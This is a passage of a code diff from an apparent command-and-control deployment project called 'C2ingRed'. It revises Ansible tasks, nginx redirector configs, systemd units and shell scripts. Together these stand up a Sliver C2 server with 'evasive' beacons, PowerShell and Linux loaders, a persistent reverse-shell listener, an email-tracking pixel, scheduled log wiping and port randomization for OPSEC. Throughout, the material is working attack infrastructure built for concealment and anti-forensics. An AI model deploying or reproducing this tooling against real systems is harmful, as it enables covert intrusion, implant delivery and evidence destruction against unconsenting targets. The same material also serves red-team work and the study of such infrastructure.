echo -e "${YELLOW}Shell handler script not found at $handler_script${NC}"
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to update beacon server configuration
|
||||
update_beacon_server() {
|
||||
local beacon_script="/root/Tools/serve-beacons.sh"
|
||||
|
||||
if [ -f "$beacon_script" ]; then
|
||||
echo -e "\n${BLUE}Updating beacon server configuration...${NC}"
|
||||
|
||||
# Update the port in the script
|
||||
sed -i "s/LISTEN_PORT=.*/LISTEN_PORT=$BEACON_SERVER_PORT/" "$beacon_script"
|
||||
|
||||
# Restart the beacon server if it's running
|
||||
if pgrep -f "serve-beacons.sh" > /dev/null; then
|
||||
echo -e "${YELLOW}Stopping running beacon server...${NC}"
|
||||
pkill -f "serve-beacons.sh"
|
||||
|
||||
echo -e "${GREEN}Starting beacon server with new port...${NC}"
|
||||
nohup "$beacon_script" > /dev/null 2>&1 &
|
||||
fi
|
||||
|
||||
echo -e "${GREEN}Beacon server updated to use port $BEACON_SERVER_PORT${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}Beacon server script not found at $beacon_script${NC}"
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to update NGINX configuration for the redirector
|
||||
update_nginx_redirector() {
|
||||
local nginx_config="/etc/nginx/sites-available/default"
|
||||
|
||||
if [ -f "$nginx_config" ]; then
|
||||
echo -e "\n${BLUE}Updating NGINX redirector configuration...${NC}"
|
||||
|
||||
# Update configuration to use new ports
|
||||
# Note: This assumes standard format used in the C2ingRed templates
|
||||
if grep -q "proxy_pass http://.*:" "$nginx_config"; then
|
||||
sed -i "s|proxy_pass http://.*:8888;|proxy_pass http://{{ c2_ip }}:$HTTP_C2_PORT;|g" "$nginx_config"
|
||||
sed -i "s|proxy_pass https://.*:443;|proxy_pass https://{{ c2_ip }}:$HTTPS_C2_PORT;|g" "$nginx_config"
|
||||
|
||||
# Update stream configuration if it exists
|
||||
local stream_config="/etc/nginx/modules-enabled/stream.conf"
|
||||
if [ -f "$stream_config" ]; then
|
||||
sed -i "s|proxy_pass .*:31337;|proxy_pass {{ c2_ip }}:$MTLS_C2_PORT;|g" "$stream_config"
|
||||
sed -i "s|proxy_pass .*:50051;|proxy_pass {{ c2_ip }}:$HTTP_C2_PORT;|g" "$stream_config"
|
||||
fi
|
||||
|
||||
# Reload NGINX
|
||||
systemctl reload nginx
|
||||
|
||||
echo -e "${GREEN}NGINX configuration updated to use new ports${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}Could not find proxy_pass directives in NGINX config${NC}"
|
||||
fi
|
||||
else
|
||||
echo -e "${YELLOW}NGINX configuration file not found at $nginx_config${NC}"
|
||||
fi
|
||||
}
|
||||
|
||||
# Apply the configuration updates
|
||||
update_sliver_config
|
||||
update_shell_handler
|
||||
update_beacon_server
|
||||
update_nginx_redirector
|
||||
|
||||
echo -e "\n${GREEN}Port randomization complete!${NC}"
|
||||
echo -e "${YELLOW}Remember to update any firewall rules to allow traffic on these ports.${NC}"
|
||||
echo -e "${YELLOW}You should also update your DNS records if they contain SRV records that specify ports.${NC}"
|
||||
|
||||
# Display the new port configuration again for reference
|
||||
echo -e "\n${BLUE}New Port Configuration:${NC}"
|
||||
cat $PORT_CONFIG | jq
|
||||
@@ -45,14 +45,14 @@ done
|
||||
|
||||
# Clear all logs
|
||||
echo "[+] Clearing logs..."
|
||||
bash /opt/c2/clean-logs.sh
|
||||
bash /root/Tools/clean-logs.sh
|
||||
|
||||
# Securely delete operational files
|
||||
echo "[+] Removing operational files..."
|
||||
operational_dirs=(
|
||||
"/opt/c2"
|
||||
"/opt/beacons"
|
||||
"/opt/payloads"
|
||||
"/root/Tools"
|
||||
"/root/Tools/beacons"
|
||||
"/root/Tools/payloads"
|
||||
"/root/.sliver"
|
||||
"/root/.msf4"
|
||||
"/root/.gophish"
|
||||
|
||||
@@ -18,7 +18,7 @@ logging.basicConfig(
|
||||
level=logging.INFO,
|
||||
format='%(asctime)s - %(levelname)s - %(message)s',
|
||||
handlers=[
|
||||
logging.FileHandler('/opt/tracker/data/tracker.log'),
|
||||
logging.FileHandler('/root/Tools/tracker/data/tracker.log'),
|
||||
logging.StreamHandler()
|
||||
]
|
||||
)
|
||||
@@ -27,7 +27,7 @@ logging.basicConfig(
|
||||
app = Flask(__name__)
|
||||
|
||||
# Directory to store tracking data
|
||||
DATA_DIR = '/opt/tracker/data'
|
||||
DATA_DIR = '/root/Tools/tracker/data'
|
||||
os.makedirs(DATA_DIR, exist_ok=True)
|
||||
|
||||
# Path to 1x1 transparent pixel
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
set -e
|
||||
TEMP_DIR=$(mktemp -d)
|
||||
SLIVER_DIR="${TEMP_DIR}/sliver"
|
||||
LOG_FILE="/opt/c2/sliver_randomizer.log"
|
||||
LOG_FILE="/root/Tools/sliver_randomizer.log"
|
||||
|
||||
# Function to log messages
|
||||
log() {
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/bin/bash
|
||||
# CLI tool to view email tracking stats
|
||||
|
||||
DATA_FILE="/opt/tracker/data/tracking_data.json"
|
||||
DATA_FILE="/root/Tools/tracker/data/tracking_data.json"
|
||||
|
||||
function show_summary() {
|
||||
if [ ! -f "$DATA_FILE" ]; then
|
||||
|
||||
@@ -5,8 +5,8 @@ After=network.target
|
||||
[Service]
|
||||
User=tracker
|
||||
Group=tracker
|
||||
WorkingDirectory=/opt/tracker
|
||||
ExecStart=/opt/tracker/venv/bin/python /opt/tracker/simple_email_tracker.py
|
||||
WorkingDirectory=/root/Tools/tracker
|
||||
ExecStart=/root/Tools/tracker/venv/bin/python /root/Tools/tracker/simple_email_tracker.py
|
||||
Restart=always
|
||||
RestartSec=10
|
||||
|
||||
|
||||
+64
-19
@@ -66,14 +66,14 @@
|
||||
owner: root
|
||||
group: root
|
||||
with_items:
|
||||
- /opt/c2
|
||||
- /opt/beacons
|
||||
- /opt/payloads
|
||||
- Tools
|
||||
- beacons
|
||||
- payloads
|
||||
|
||||
- name: Copy operational scripts
|
||||
copy:
|
||||
src: "{{ item }}"
|
||||
dest: "/opt/c2/{{ item | basename }}"
|
||||
dest: "Tools/{{ item | basename }}"
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
@@ -82,10 +82,51 @@
|
||||
- ../files/secure-exit.sh
|
||||
- ../files/sliver_randomizer.sh
|
||||
|
||||
- name: Copy post-install script
|
||||
copy:
|
||||
src: "../files/post_install_c2.sh"
|
||||
dest: "Tools/post_install_c2.sh"
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Copy port randomization script
|
||||
copy:
|
||||
src: "../files/randomize_ports.sh"
|
||||
dest: "Tools/randomize_ports.sh"
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create post-install instructions
|
||||
copy:
|
||||
content: |
|
||||
================================================================
|
||||
C2ingRed Post-Installation Instructions
|
||||
================================================================
|
||||
|
||||
To complete your setup with SSL certificates, run:
|
||||
Tools/post_install_c2.sh
|
||||
|
||||
This script will guide you through:
|
||||
- Setting up Let's Encrypt certificates
|
||||
- Starting required services
|
||||
- Setting up the redirector (if desired)
|
||||
- Displaying DNS configuration recommendations
|
||||
|
||||
For enhanced OPSEC, you can also randomize ports:
|
||||
Tools/randomize_ports.sh
|
||||
|
||||
Run these after you've configured your DNS records to point to this server.
|
||||
dest: "/root/POST_INSTALL_INSTRUCTIONS.txt"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create main beacon generation script
|
||||
template:
|
||||
src: "../templates/generate_evasive_beacons.sh.j2"
|
||||
dest: "/opt/c2/generate_evasive_beacons.sh"
|
||||
dest: "Tools/generate_evasive_beacons.sh"
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
@@ -93,7 +134,7 @@
|
||||
- name: Create Linux loader script template
|
||||
template:
|
||||
src: "../templates/linux_loader.sh.j2"
|
||||
dest: "/opt/c2/linux_loader.template"
|
||||
dest: "Tools/linux_loader.template"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
@@ -101,7 +142,7 @@
|
||||
- name: Create Windows PowerShell loader template
|
||||
template:
|
||||
src: "../templates/windows_loader.ps1.j2"
|
||||
dest: "/opt/c2/windows_loader.template"
|
||||
dest: "Tools/windows_loader.template"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
@@ -109,7 +150,7 @@
|
||||
- name: Create manifest template
|
||||
template:
|
||||
src: "../templates/manifest.json.j2"
|
||||
dest: "/opt/c2/manifest.template"
|
||||
dest: "Tools/manifest.template"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
@@ -117,7 +158,7 @@
|
||||
- name: Create reference file template
|
||||
template:
|
||||
src: "../templates/reference.txt.j2"
|
||||
dest: "/opt/c2/reference.template"
|
||||
dest: "Tools/reference.template"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
@@ -125,7 +166,7 @@
|
||||
- name: Create beacon server script from template
|
||||
template:
|
||||
src: "../templates/serve-beacons.sh.j2"
|
||||
dest: "/opt/c2/serve-beacons.sh"
|
||||
dest: "Tools/serve-beacons.sh"
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
@@ -148,15 +189,15 @@
|
||||
ignore_errors: yes
|
||||
|
||||
- name: Run Sliver randomization for EDR evasion
|
||||
shell: /opt/c2/sliver_randomizer.sh
|
||||
shell: Tools/sliver_randomizer.sh
|
||||
args:
|
||||
creates: /opt/c2/sliver-profiles/evasive-template.json
|
||||
creates: /usr/local/bin/sliver-server
|
||||
register: randomization_result
|
||||
|
||||
- name: Display Sliver randomizer output
|
||||
debug:
|
||||
var: sliver_randomizer_result.stdout_lines
|
||||
when: sliver_randomizer_result.stdout_lines is defined
|
||||
var: randomization_result.stdout_lines
|
||||
when: randomization_result.stdout_lines is defined
|
||||
|
||||
- name: Create custom Sliver service file
|
||||
template:
|
||||
@@ -189,11 +230,15 @@
|
||||
creates: /root/admin.cfg
|
||||
when: not operator_config.stat.exists
|
||||
|
||||
- name: Run port randomization if enabled
|
||||
include_tasks: port_randomization.yml
|
||||
when: randomize_ports | default(false) | bool
|
||||
|
||||
- name: Generate beacons with redirector integration
|
||||
shell: |
|
||||
/opt/c2/generate_evasive_beacons.sh
|
||||
Tools/generate_evasive_beacons.sh
|
||||
args:
|
||||
creates: /opt/beacons/reference.txt
|
||||
creates: /root/beacons/reference.txt
|
||||
environment:
|
||||
PATH: "{{ ansible_env.PATH }}:/usr/local/bin"
|
||||
ignore_errors: yes
|
||||
@@ -206,7 +251,7 @@
|
||||
|
||||
- name: Start beacon server
|
||||
shell: |
|
||||
nohup /opt/c2/serve-beacons.sh > /dev/null 2>&1 &
|
||||
nohup Tools/serve-beacons.sh > /dev/null 2>&1 &
|
||||
args:
|
||||
executable: /bin/bash
|
||||
register: beacon_server_result
|
||||
@@ -214,7 +259,7 @@
|
||||
- name: Create NGINX configuration fragment for redirector
|
||||
template:
|
||||
src: "../templates/redirector-sliver-fragment.j2"
|
||||
dest: "/opt/c2/redirector-config.conf"
|
||||
dest: "Tools/redirector-config.conf"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
@@ -238,7 +283,7 @@
|
||||
name: "Clean logs"
|
||||
minute: "0"
|
||||
hour: "*/6"
|
||||
job: "/opt/c2/clean-logs.sh > /dev/null 2>&1"
|
||||
job: "Tools/clean-logs.sh > /dev/null 2>&1"
|
||||
when: zero_logs | bool
|
||||
|
||||
# Include integrated tracker tasks if requested
|
||||
|
||||
@@ -22,7 +22,7 @@
|
||||
|
||||
- name: Create tracker directory
|
||||
file:
|
||||
path: /opt/tracker
|
||||
path: /root/Tools/tracker
|
||||
state: directory
|
||||
mode: '0755'
|
||||
owner: root
|
||||
@@ -31,7 +31,7 @@
|
||||
|
||||
- name: Create tracker data directory
|
||||
file:
|
||||
path: /opt/tracker/data
|
||||
path: /root/Tools/tracker/data
|
||||
state: directory
|
||||
mode: '0755'
|
||||
owner: root
|
||||
@@ -43,13 +43,13 @@
|
||||
name: tracker
|
||||
system: yes
|
||||
shell: /usr/sbin/nologin
|
||||
home: /opt/tracker
|
||||
home: /root/Tools/tracker
|
||||
create_home: no
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Create Python virtual environment for tracker
|
||||
pip:
|
||||
virtualenv: /opt/tracker/venv
|
||||
virtualenv: /root/Tools/tracker/venv
|
||||
name:
|
||||
- flask
|
||||
- pillow
|
||||
@@ -64,7 +64,7 @@
|
||||
- name: Copy tracker application code
|
||||
copy:
|
||||
src: "../files/simple_email_tracker.py"
|
||||
dest: /opt/tracker/simple_email_tracker.py
|
||||
dest: /root/Tools/tracker/simple_email_tracker.py
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
@@ -73,7 +73,7 @@
|
||||
- name: Copy tracker statistics CLI tool
|
||||
copy:
|
||||
src: "../files/tracker-stats.sh"
|
||||
dest: /opt/tracker/tracker-stats.sh
|
||||
dest: /root/Tools/tracker/tracker-stats.sh
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
@@ -96,8 +96,8 @@
|
||||
group: tracker
|
||||
recurse: yes
|
||||
loop:
|
||||
- /opt/tracker
|
||||
- /opt/tracker/data
|
||||
- /root/Tools/tracker
|
||||
- /root/Tools/tracker/data
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Create NGINX site config for tracker
|
||||
@@ -142,15 +142,9 @@
|
||||
daemon_reload: yes
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Restart NGINX to apply tracker configuration
|
||||
systemd:
|
||||
name: nginx
|
||||
state: restarted
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
|
||||
- name: Add tracker alias to bashrc for easy access
|
||||
lineinfile:
|
||||
path: /root/.bashrc
|
||||
line: 'alias tracker="/opt/tracker/tracker-stats.sh"'
|
||||
line: 'alias tracker="/root/Tools/tracker/tracker-stats.sh"'
|
||||
state: present
|
||||
when: setup_integrated_tracker | default(false) | bool
|
||||
@@ -11,6 +11,7 @@
|
||||
- socat
|
||||
- netcat-openbsd
|
||||
- secure-delete
|
||||
- jq
|
||||
state: present
|
||||
update_cache: yes
|
||||
|
||||
@@ -22,34 +23,74 @@
|
||||
owner: root
|
||||
group: root
|
||||
with_items:
|
||||
- /opt/c2
|
||||
- /opt/shell-handler
|
||||
- /root/Tools
|
||||
- /root/Tools/shell-handler
|
||||
|
||||
- name: Copy clean-logs.sh script
|
||||
copy:
|
||||
src: "../files/clean-logs.sh"
|
||||
dest: /opt/c2/clean-logs.sh
|
||||
dest: /root/Tools/clean-logs.sh
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Copy redirector post-install script
|
||||
copy:
|
||||
src: "../files/post_install_redirector.sh"
|
||||
dest: "/root/Tools/post_install_redirector.sh"
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Copy port randomization script
|
||||
copy:
|
||||
src: "../files/randomize_ports.sh"
|
||||
dest: "/root/Tools/randomize_ports.sh"
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create redirector post-install instructions
|
||||
copy:
|
||||
content: |
|
||||
================================================================
|
||||
C2ingRed Redirector Post-Installation Instructions
|
||||
================================================================
|
||||
|
||||
To complete your setup with SSL certificates, run:
|
||||
/root/Tools/post_install_redirector.sh
|
||||
|
||||
This script will guide you through:
|
||||
- Setting up Let's Encrypt certificates
|
||||
- Starting required services
|
||||
- Updating NGINX configuration
|
||||
|
||||
For enhanced OPSEC, you can also randomize ports:
|
||||
/root/Tools/randomize_ports.sh
|
||||
|
||||
Run these after you've configured your DNS records to point to this server.
|
||||
dest: "/root/POST_INSTALL_INSTRUCTIONS.txt"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Copy shell handler script
|
||||
copy:
|
||||
src: "../files/persistent-listener.sh"
|
||||
dest: /opt/shell-handler/persistent-listener.sh
|
||||
dest: /root/Tools/shell-handler/persistent-listener.sh
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Configure shell handler script with C2 IP
|
||||
replace:
|
||||
path: /opt/shell-handler/persistent-listener.sh
|
||||
path: /root/Tools/shell-handler/persistent-listener.sh
|
||||
regexp: 'C2_HOST="127.0.0.1"'
|
||||
replace: 'C2_HOST="{{ c2_ip }}"'
|
||||
|
||||
- name: Configure shell handler script with listening port
|
||||
replace:
|
||||
path: /opt/shell-handler/persistent-listener.sh
|
||||
path: /root/Tools/shell-handler/persistent-listener.sh
|
||||
regexp: 'LISTEN_PORT=4444'
|
||||
replace: 'LISTEN_PORT={{ shell_handler_port }}'
|
||||
|
||||
@@ -70,6 +111,11 @@
|
||||
group: root
|
||||
when: zero_logs | bool
|
||||
|
||||
# Run port randomization if enabled
|
||||
- name: Run port randomization if enabled
|
||||
include_tasks: port_randomization.yml
|
||||
when: randomize_ports | default(false) | bool
|
||||
|
||||
# Configure nginx for dual HTTP/HTTPS with complete encryption
|
||||
- name: Configure NGINX for secure C2 redirection
|
||||
template:
|
||||
@@ -110,7 +156,7 @@
|
||||
|
||||
# HTTP C2 paths (still over HTTPS)
|
||||
location /ajax/ {
|
||||
proxy_pass http://{{ c2_ip }}:8888;
|
||||
proxy_pass http://{{ c2_ip }}:{{ randomized_http_port | default(8888) }};
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
@@ -121,7 +167,7 @@
|
||||
|
||||
# MTLS/TCP passthrough for direct Sliver communication
|
||||
location /mtls/ {
|
||||
proxy_pass https://{{ c2_ip }}:443;
|
||||
proxy_pass https://{{ c2_ip }}:{{ randomized_https_port | default(443) }};
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
@@ -133,7 +179,7 @@
|
||||
|
||||
# Static resources that redirect to C2
|
||||
location ~ ^/static/(css|js|images)/.*\.(css|js|png|jpg|jpeg|gif|ico)$ {
|
||||
proxy_pass http://{{ c2_ip }}:8888;
|
||||
proxy_pass http://{{ c2_ip }}:{{ randomized_http_port | default(8888) }};
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
@@ -210,7 +256,7 @@
|
||||
echo "certbot --nginx -d ${SUBDOMAIN}.${DOMAIN} --non-interactive --agree-tos -m ${EMAIL}"
|
||||
echo
|
||||
echo "================================================"
|
||||
dest: /opt/c2/setup-cert.sh
|
||||
dest: /root/Tools/setup-cert.sh
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
@@ -223,14 +269,14 @@
|
||||
stream {
|
||||
# TCP forwarding for MTLS
|
||||
server {
|
||||
listen 31337;
|
||||
proxy_pass {{ c2_ip }}:31337;
|
||||
listen {{ randomized_mtls_port | default(31337) }};
|
||||
proxy_pass {{ c2_ip }}:{{ randomized_mtls_port | default(31337) }};
|
||||
}
|
||||
|
||||
# Additional C2 ports
|
||||
server {
|
||||
listen 50051;
|
||||
proxy_pass {{ c2_ip }}:50051;
|
||||
listen {{ randomized_http_port | default(50051) }};
|
||||
proxy_pass {{ c2_ip }}:{{ randomized_http_port | default(50051) }};
|
||||
}
|
||||
}
|
||||
dest: /etc/nginx/modules-enabled/stream.conf
|
||||
@@ -252,5 +298,5 @@
|
||||
name: "Clean logs"
|
||||
minute: "0"
|
||||
hour: "*/6"
|
||||
job: "/opt/c2/clean-logs.sh > /dev/null 2>&1"
|
||||
job: "/root/Tools/clean-logs.sh > /dev/null 2>&1"
|
||||
when: zero_logs | bool
|
||||
@@ -0,0 +1,66 @@
|
||||
---
|
||||
# tasks/port_randomization.yml
|
||||
# Task file to randomize ports for C2 infrastructure
|
||||
|
||||
- name: Create port randomization script
|
||||
copy:
|
||||
src: "../files/randomize_ports.sh"
|
||||
dest: "/root/Tools/randomize_ports.sh"
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Execute port randomization script
|
||||
shell: |
|
||||
cd /root/Tools && ./randomize_ports.sh
|
||||
register: randomize_result
|
||||
when: randomize_ports | default(true) | bool
|
||||
|
||||
- name: Display port randomization results
|
||||
debug:
|
||||
msg: "{{ randomize_result.stdout_lines }}"
|
||||
when: randomize_ports | default(true) | bool
|
||||
|
||||
- name: Store randomized ports in variables
|
||||
shell: |
|
||||
PORT_CONFIG="/root/Tools/port_config.json"
|
||||
if [ -f "$PORT_CONFIG" ]; then
|
||||
cat "$PORT_CONFIG"
|
||||
else
|
||||
echo '{"error": "Port configuration not found"}'
|
||||
fi
|
||||
register: port_config_result
|
||||
when: randomize_ports | default(true) | bool
|
||||
|
||||
- name: Set port fact variables
|
||||
set_fact:
|
||||
randomized_http_port: "{{ (port_config_result.stdout | from_json).http_c2_port | default(8888) }}"
|
||||
randomized_https_port: "{{ (port_config_result.stdout | from_json).https_c2_port | default(443) }}"
|
||||
randomized_mtls_port: "{{ (port_config_result.stdout | from_json).mtls_c2_port | default(31337) }}"
|
||||
randomized_shell_handler_port: "{{ (port_config_result.stdout | from_json).shell_handler_port | default(shell_handler_port) }}"
|
||||
when: randomize_ports | default(true) | bool and port_config_result.rc == 0
|
||||
|
||||
- name: Update shell handler configuration with randomized port
|
||||
replace:
|
||||
path: "/opt/shell-handler/persistent-listener.sh"
|
||||
regexp: "LISTEN_PORT=.*"
|
||||
replace: "LISTEN_PORT={{ randomized_shell_handler_port | default(shell_handler_port) }}"
|
||||
when: randomize_ports | default(true) | bool and port_config_result.rc == 0
|
||||
|
||||
- name: Update shell handler service with randomized port
|
||||
lineinfile:
|
||||
path: "/etc/systemd/system/shell-handler.service"
|
||||
regexp: 'Environment="LISTEN_PORT='
|
||||
line: 'Environment="LISTEN_PORT={{ randomized_shell_handler_port | default(shell_handler_port) }}"'
|
||||
insertafter: '^\\[Service\\]'
|
||||
when: randomize_ports | default(true) | bool and port_config_result.rc == 0
|
||||
|
||||
- name: Reload and restart services
|
||||
systemd:
|
||||
daemon_reload: yes
|
||||
name: "{{ item }}"
|
||||
state: restarted
|
||||
with_items:
|
||||
- sliver
|
||||
- shell-handler
|
||||
when: randomize_ports | default(true) | bool and port_config_result.rc == 0
|
||||
@@ -58,7 +58,7 @@
|
||||
- name: Copy operational scripts
|
||||
copy:
|
||||
src: "{{ item }}"
|
||||
dest: "/opt/c2/{{ item }}"
|
||||
dest: "/root/Tools/{{ item }}"
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
@@ -75,9 +75,9 @@
|
||||
owner: root
|
||||
group: root
|
||||
with_items:
|
||||
- /opt/c2
|
||||
- /opt/beacons
|
||||
- /opt/payloads
|
||||
- /root/Tools
|
||||
- /root/Tools/beacons
|
||||
- /root/Tools/payloads
|
||||
|
||||
- name: Create Sliver service file
|
||||
copy:
|
||||
@@ -116,7 +116,7 @@
|
||||
name: "Clean logs"
|
||||
minute: "0"
|
||||
hour: "*/6"
|
||||
job: "/opt/c2/clean-logs.sh > /dev/null 2>&1"
|
||||
job: "/root/Tools/clean-logs.sh > /dev/null 2>&1"
|
||||
when: zero_logs | bool
|
||||
|
||||
- name: Install Let's Encrypt certificate if domain specified
|
||||
@@ -128,9 +128,9 @@
|
||||
|
||||
- name: Configure and start beacon server
|
||||
shell: |
|
||||
sed -i "s/C2_HOST=.*/C2_HOST=\"{{ ansible_host }}\"/g" /opt/c2/serve-beacons.sh
|
||||
chmod +x /opt/c2/serve-beacons.sh
|
||||
sed -i "s/C2_HOST=.*/C2_HOST=\"{{ ansible_host }}\"/g" /root/Tools/serve-beacons.sh
|
||||
chmod +x /root/Tools/serve-beacons.sh
|
||||
# Check if beacon server is already running
|
||||
if ! pgrep -f "/opt/c2/serve-beacons.sh" > /dev/null; then
|
||||
nohup /opt/c2/serve-beacons.sh > /dev/null 2>&1 &
|
||||
if ! pgrep -f "/root/Tools/serve-beacons.sh" > /dev/null; then
|
||||
nohup /root/Tools/serve-beacons.sh > /dev/null 2>&1 &
|
||||
fi
|
||||
@@ -100,7 +100,7 @@ sliver-client generate stager --profile $stager_profile --os windows --arch amd6
|
||||
echo "[+] Windows stager: $BEACONS_DIR/staged/$stager_win (Profile: $stager_profile)"
|
||||
|
||||
# Create manifest file from template
|
||||
cp /opt/c2/manifest.template "$BEACONS_DIR/manifest.json"
|
||||
cp /root/Tools/manifest.template "$BEACONS_DIR/manifest.json"
|
||||
sed -i "s/WINDOWS_EXE/$win_output/g" "$BEACONS_DIR/manifest.json"
|
||||
sed -i "s/WINDOWS_DLL/$dll_output/g" "$BEACONS_DIR/manifest.json"
|
||||
sed -i "s/LINUX_BINARY/$linux_output/g" "$BEACONS_DIR/manifest.json"
|
||||
@@ -117,16 +117,16 @@ sed -i "s/C2_HOST/$C2_HOST/g" "$BEACONS_DIR/manifest.json"
|
||||
sed -i "s/GENERATED_DATE/$(date)/g" "$BEACONS_DIR/manifest.json"
|
||||
|
||||
# Create Linux loader from template
|
||||
cp /opt/c2/linux_loader.template "$BEACONS_DIR/linux_loader.sh"
|
||||
cp /root/Tools/linux_loader.template "$BEACONS_DIR/linux_loader.sh"
|
||||
sed -i "s/REDIRECTOR_PLACEHOLDER/$REDIRECTOR_HOST/g" "$BEACONS_DIR/linux_loader.sh"
|
||||
chmod +x "$BEACONS_DIR/linux_loader.sh"
|
||||
|
||||
# Create Windows PowerShell loader from template
|
||||
cp /opt/c2/windows_loader.template "$BEACONS_DIR/windows_loader.ps1"
|
||||
cp /root/Tools/windows_loader.template "$BEACONS_DIR/windows_loader.ps1"
|
||||
sed -i "s/REDIRECTOR_PLACEHOLDER/$REDIRECTOR_HOST/g" "$BEACONS_DIR/windows_loader.ps1"
|
||||
|
||||
# Create reference file from template
|
||||
cp /opt/c2/reference.template "$BEACONS_DIR/reference.txt"
|
||||
cp /root/Tools/reference.template "$BEACONS_DIR/reference.txt"
|
||||
sed -i "s/C2_HOST/$C2_HOST/g" "$BEACONS_DIR/reference.txt"
|
||||
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" "$BEACONS_DIR/reference.txt"
|
||||
sed -i "s/WINDOWS_EXE/$win_output/g" "$BEACONS_DIR/reference.txt"
|
||||
|
||||
@@ -39,7 +39,7 @@ Other Installed C2 Frameworks:
|
||||
- Metasploit Framework: system installed (run 'msfconsole')
|
||||
- Sliver C2: system installed (run 'sliver')
|
||||
|
||||
Security Scripts in /opt/c2/:
|
||||
Security Scripts in /root/Tools/:
|
||||
-----------------------------
|
||||
- clean-logs.sh: Securely clears all logs on the system
|
||||
- secure-exit.sh: Perform secure wipe for termination
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
# Script to serve Sliver beacons generated by generate_evasive_beacons.sh
|
||||
|
||||
# Configuration
|
||||
BEACONS_DIR="/opt/beacons"
|
||||
BEACONS_DIR="/root/Tools/beacons"
|
||||
C2_HOST="{{ ansible_host }}"
|
||||
LISTEN_PORT=8443
|
||||
|
||||
|
||||
@@ -6,7 +6,7 @@ After=network.target
|
||||
Type=simple
|
||||
User=root
|
||||
Group=root
|
||||
ExecStart=/opt/shell-handler/persistent-listener.sh
|
||||
ExecStart=/root/Tools/shell-handler/persistent-listener.sh
|
||||
Restart=always
|
||||
RestartSec=10
|
||||
|
||||
|
||||
@@ -18,7 +18,7 @@ logging.basicConfig(
|
||||
level=logging.INFO,
|
||||
format='%(asctime)s - %(levelname)s - %(message)s',
|
||||
handlers=[
|
||||
logging.FileHandler('/opt/tracker/data/tracker.log'),
|
||||
logging.FileHandler('/root/Tools/tracker/data/tracker.log'),
|
||||
logging.StreamHandler()
|
||||
]
|
||||
)
|
||||
@@ -27,7 +27,7 @@ logging.basicConfig(
|
||||
app = Flask(__name__)
|
||||
|
||||
# Directory to store tracking data
|
||||
DATA_DIR = '/opt/tracker/data'
|
||||
DATA_DIR = '/root/Tools/tracker/data'
|
||||
os.makedirs(DATA_DIR, exist_ok=True)
|
||||
|
||||
# Path to 1x1 transparent pixel
|
||||
|
||||
@@ -42,7 +42,7 @@ Once connected to the server, you can:
|
||||
IMPLANT RESOURCES
|
||||
----------------
|
||||
Pre-generated implants are available in:
|
||||
- /opt/beacons/
|
||||
- /root/Tools/beacons/
|
||||
|
||||
These implants are already configured to connect through the redirector at
|
||||
{{ redirector_domain }}.
|
||||
@@ -59,7 +59,7 @@ TIPS FOR OPSEC
|
||||
- Use HTTPS for all communications
|
||||
|
||||
To regenerate beacons with different properties:
|
||||
$ /opt/c2/generate_evasive_beacons.sh
|
||||
$ /root/Tools/generate_evasive_beacons.sh
|
||||
|
||||
TROUBLESHOOTING
|
||||
--------------
|
||||
|
||||
@@ -5,8 +5,8 @@ After=network.target
|
||||
[Service]
|
||||
User=tracker
|
||||
Group=tracker
|
||||
WorkingDirectory=/opt/tracker
|
||||
ExecStart=/opt/tracker/venv/bin/python /opt/tracker/simple_email_tracker.py
|
||||
WorkingDirectory=/root/Tools/tracker
|
||||
ExecStart=/root/Tools/tracker/venv/bin/python /root/Tools/tracker/simple_email_tracker.py
|
||||
Restart=always
|
||||
RestartSec=10
|
||||
|
||||
|
||||
Reference in New Issue
Block a user